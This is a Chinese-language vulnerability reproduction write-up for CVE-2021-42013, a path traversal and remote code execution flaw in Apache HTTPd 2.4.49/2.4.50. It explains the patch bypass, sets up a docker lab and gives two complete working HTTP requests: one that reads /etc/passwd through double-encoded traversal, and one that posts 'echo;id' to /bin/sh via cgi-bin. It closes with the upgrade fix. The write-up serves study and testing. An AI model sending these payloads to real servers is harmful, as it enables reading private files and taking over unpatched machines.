CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞

CVE-2021-42013 Apache HTTPd 2.4.49 2.4.50 路径穿越以及RCE漏洞

0x00 简介

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。

0x01 漏洞概述

Apache HTTPd是Apache基金会开源的一款流行的HTTP服务器。2021年10月8日Apache HTTPd官方发布安全更新，披露了CVE-2021-42013 Apache HTTPd 2.4.49/2.4.50 路径穿越漏洞。由于对CVE-2021-41773 Apache HTTPd 2.4.49 路径穿越漏洞的修复不完善，攻击者可构造恶意请求绕过补丁，利用穿越漏洞读取到Web目录之外的其他文件。CVE-2021-41773漏洞在v2.4.50版本中进行了修复。但修复版本中只处理了`/xx/.%2e/`这样的路径，而没有正确处理`/.%%32%65/`这种字符串，导致`/.%%32%65/`被带入后续的处理，仍然可造成目录穿越。攻击者可构造恶意请求绕过补丁，利用穿越漏洞读取到Web目录之外的其他文件。

同时若Apache HTTPd开启了cgi支持，攻击者可构造恶意请求执行命令，控制服务器。

0x02 影响版本

Apache HTTPd 2.4.49/2.4.50版本 且穿越的目录允许被访问。

0x03 环境搭建

由于是绕过因此直接使用CVE-2021_41773环境即可

git clone https://github.com/blasty/CVE-2021-41773

cd CVE-2021-41773

docker-compose build && docker-compose up -d

docker ps 查看镜像所对应端口

 

访问ip加8080端口出现如下界面即可

 

0x04 漏洞复现

将2e进行url编码替换即可

 

 

 

任意文件读取：

访问界面抓包

直接打payloda即可

Poc：

GET /icons/.%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/etc/passwd HTTP/1.1

Host: xxx.xxx.xxx.xxx:8080

User-Agent: Mozilla/5.0 (X11; FreeBSD i386 6.73; rv:220.59) Gecko/20100101 Chrome/175.28 OPR/220.59;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

If-Modified-Since: Thu, 14 Oct 2021 06:00:45 GMT

If-None-Match: "29cd-5ce49cca73d40-gzip"

Cache-Control: max-age=0

 

 

 

命令执行：

访问界面抓包

Poc：

POST /cgi-bin/.%%32%65/.%%32%65/.%%32%65/.%%32%65/bin/sh HTTP/1.1

Host: xxx.xxx.xxx.xxx:8080

User-Agent: Mozilla/5.0 (X11; FreeBSD i386 6.73; rv:220.59) Gecko/20100101  Chrome/175.28 OPR/220.59;

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Connection: close

Upgrade-Insecure-Requests: 1

If-Modified-Since: Thu, 14 Oct 2021 06:00:45 GMT

If-None-Match: "29cd-5ce49cca73d40-gzip"

Cache-Control: max-age=0

Content-Type: application/x-www-form-urlencoded

Content-Length: 7

 

echo;id

0x05 修复方式

Apache团队已发布相关漏洞的安全更新，用户可更新到最新的安全版本，链接如下：https://httpd.apache.org/download.cgi#apache24

参考链接：

https://mp.weixin.qq.com/s/IqyelR29uE0G33-wtYQkvA